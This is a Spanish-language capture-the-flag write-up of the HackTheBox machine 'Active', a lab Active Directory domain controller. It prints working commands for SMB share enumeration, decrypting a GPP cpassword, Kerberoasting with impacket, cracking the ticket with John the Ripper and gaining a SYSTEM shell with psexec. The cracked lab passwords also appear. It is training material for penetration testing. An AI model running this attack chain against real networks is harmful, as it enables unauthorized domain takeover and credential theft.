Saltar al contenido

HackTheBox – Active – Writeup – (OSCP Friendly)

En este post voy a vulnerar la máquina Active de Hack the Box. Es una máquina Windows, de nivel intermedio pero muy sencilla, centrada en las vulnerabilidades comunes asociadas a Directorio Activo (AD) y sin escalada de privilegios.

Enumeración

Comienzo escaneado los 65535 puertos existentes en el protocolo TCP, estableciendo un envío mínimo de 5000 paquetes por segundo.

nmap -p- --open -n --min-rate 5000 10.10.10.100

En la máquina hay veintidós puertos abiertos. Escaneo los trece primeros puertos que he encontrado (ya que el resto son puertos dinámicos del sistema) para ver la versión de los servicios que están corriendo en ellos y ejecuto una serie de scripts de enumeración básicos.

nmap -p53,88,135,139,189,445,464,593,636,3268,3269,5722,9389 -sC -sV 10.10.10.100
Starting Nmap 7.91 ( https://nmap.org ) at 2021-12-29 13:47 CET
Nmap scan report for 10.10.10.100
Host is up (0.11s latency).

PORT     STATE  SERVICE       VERSION
53/tcp   open   domain        Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server 2008 R2 SP1)
| dns-nsid: 
|_  bind.version: Microsoft DNS 6.1.7601 (1DB15D39)
88/tcp   open   kerberos-sec  Microsoft Windows Kerberos (server time: 2021-12-29 13:02:27Z)
135/tcp  open   msrpc         Microsoft Windows RPC
139/tcp  open   netbios-ssn   Microsoft Windows netbios-ssn
189/tcp  closed qft
445/tcp  open   microsoft-ds?
464/tcp  open   kpasswd5?
593/tcp  open   ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open   tcpwrapped
3268/tcp open   ldap          Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)
3269/tcp open   tcpwrapped
5722/tcp open   msrpc         Microsoft Windows RPC
9389/tcp open   mc-nmf        .NET Message Framing
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1, cpe:/o:microsoft:windows

Host script results:
|_clock-skew: 14m41s
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2021-12-29T13:03:22
|_  start_date: 2021-12-29T12:52:49

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 71.03 seconds

Veo muchos puertos y servicios abiertos, aunque algunos son «repetidos» pero los importantes son Kerberos (88), SMB (139/445) y LDAP (389/3268).

Antes de continuar, añado el dominio active.htb, descubierto en el LDAP, al fichero /etc/hosts.

SMB – Puerto 139/445

Enumero las unidades compartidas con smbmap dentro de su dominio por defecto y encuentro, además de las habituales, un disco llamado Replication, en el que tengo permisos de lectura.

smbmap -H 10.10.10.100

Me conecto al disco /Replication con smbclient, listo el contenido y encuentro un directorio llamado active.htb.

smbclient //10.10.10.100/Replication

En los directorios compartidos de los Directorios Activos (AD) suele haber un fichero llamado Group.xml donde se almacena una un usuario del dominio y una contraseña cifrada.

Navego por el disco y, en la ruta \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\ encuentro el fichero Group.xlm.

Abro el fichero y encuentro un usuario del dominio y una contraseña cifrada.

Siempre que se crea una nueva Preferencia de Política de Grupo, en ingles Group Policy Preference (GPP) se crea un archivo .xml (Group.xml) en el recurso compartido SYSVOL con los datos de configuración, incluidas las contraseñas asociadas con el GPP. Por motivos de seguridad, Microsoft AES cifra la contraseña antes de que se almacene como cpassword pero hace un tiempo, el propio Microsoft, publicó la clave. Puedes leer mas sobre ello aquí y aquí.

Con la herramienta gpp-decrypt puedo romper el cpassword que he descubierto en el fichero Group.xml. La contraseña es GPPstillStandingStrong2k18.

gpp-decrypt edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ

Ahora que he encontrado las credenciales SVC_TGS:GPPstillStandingStrong2k18, compruebo si son válidas crackmapexec y obtengo que son válidas para smb pero no para autenticarme en el sistema.

crackmapexec smb 10.10.10.100 -d active.htb -u SVC_TGS -p GPPstillStandingStrong2k18

Utilizo estas credenciales para enumerar las unidades compartidas con smbmap dentro del dominio active.htb y encuentro varios discos en los que tengo permisos de lectura. Después de entrar en todos, el mas interesante es el disco /Users.

smbmap -H 10.10.10.100 -d active -u SVC_TGS -p GPPstillStandingStrong2k18

Este disco es interesante porque me da acceso con smb a la ruta C:\Users (aunque parece mas una copía) y en ella encuentro la flag de usuario pero para OSCP esta forma de mostrar la flag no es correcta, ya que exige que se consiga una shell reversa para obtenerla. De todos modos me conecto con smbclient y me dirijo a la ruta \SVC_TGS\Desktop\ para encontrar la flag.

smbclient //10.10.10.100/Users -U active.htb\\SVC_TGS%GPPstillStandingStrong2k18

Explotación

Kerberos es un protocolo de autenticación que se utiliza en entornos de Windows Active Directory (aunque también se puede utilizar para la autenticación en hosts Linux). En 2014, Tim Medin desarrolló un ataque a Kerberos que llamó Kerberoasting. Mas información sobre este ataque aquí, aquí, aquí, aquí y aquí.

Si vuelvo a la enumeración de nmap, veo que Kerberos se está ejecutando por el puerto 88. Como ya he encontrado unas credenciales, puedo utilizarlas para hacer Kerberoasting junto con el script GetUserSPNs.py de impacket.

Como se ve en la imagen, no consigo obtener el TGP debido al error de sesión KRB_AP_ERR_SKEW(Clock skew too great).

GetUserSPNs.py -request active.htb/SVC_TGS:GPPstillStandingStrong2k18

Este error se debe simplemente a que hay un desfase entre la hora local de la máquina víctima y la de mi máquina atacante. Me «anclo» a la hora de la máquina víctima, repito el ataque de Kerberoasting y ya consigo el ticket de Administrator.

sudo rdate 10.10.10.100
GetUserSPNs.py -request active.htb/SVC_TGS:GPPstillStandingStrong2k18

Como este hash se puede romper con john, vuelvo a lanzar GetUserSPNs.py pero añadiendo el comando para que guarde el hash en un fichero llamado kerberos… También podría haber copiado y pegado el hash de la salida anterior, pero así me ahorro problemas o errores al copiarlo.

GetUserSPNs.py -request active.htb/SVC_TGS:GPPstillStandingStrong2k18 -outputfile kerberos
cat kerberos

Una vez obtenido el hash, lo rompo por fuerza bruta con John The Ripper y el diccionario rockyou.txt, obteniendo la contraseña Ticketmaster1968.

john -w=/usr/share/wordlists/rockyou.txt kerberos

Utilizo crackmapexec para comprobar si las credenciales Administrator:Ticketmaster1968, que he obtenido en kerberos, son válidas.

crackmapexec smb 10.10.10.100 -u Administrator -p Ticketmaster1968

Al aparecer Pwn3d! junto a las credenciales, el programa me indica que las credenciales son válidas para autenticarme en el sistema. Utilizo psexec.py de impacket y consigo acceder al sistema como nt authority\system.

psexec.py active.htb/Administrator:Ticketmaster1968@10.10.10.100

Como ya he conseguido acceder a la máquina víctima como usuario administrador, no necesito hacer escalada de privilegios.

Flags

User.txt

La flag de usuario la encuentro en la ruta C:\Users\SVC_TGS\Desktop\user.txt.

Root.txt

La flag de administrador la encuentro en la ruta C:\Users\Administrator\Desktop\root.txt.

Publicado enActive DirectoryCTFHTBOSCPwindows